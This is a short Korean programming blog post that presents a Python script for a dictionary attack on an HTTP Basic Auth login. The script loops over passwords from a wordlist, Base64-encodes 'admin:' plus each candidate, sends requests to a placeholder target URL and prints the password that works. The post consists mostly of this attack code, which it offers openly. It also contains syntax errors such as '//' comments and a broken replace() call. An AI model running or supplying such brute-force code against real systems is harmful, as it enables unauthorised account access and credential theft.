Self-Improvement

Python의 requests Base64 Dictionary 코드 본문

프로그래밍/Python

Python의 requests Base64 Dictionary 코드

JoGeun 2019. 1. 9. 13:34
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import sys
from bs4 import BeautifulSoup
import base64
 
#login
login_url = 'Target URL'
fd = open("password.txt") //dictionary file
while True:
    pass1=fd.readline()
    pass1 = pass1.replace("\n"'')
    if pass1 == "":
        sys.exit(1)
    BASE=base64.b64encode(bytes('admin:'+pass1,'utf-8')) //base64 encoding
    BASE64=BASE.decode('utf-8') // 'b' remove
    authorization={'Authorization':'Basic '+BASE64}
    resp=requests.get(login_url,headers=authorization)
    soup=BeautifulSoup(resp.text,'lxml')
    if soup.statusvalue.text == "200":
        print("[ok] password is", pass1)
        sys.exit(2)
fd.close()
cs


Basic 로그인 폼에 dictionary을 수행하는 간단한 공격 코드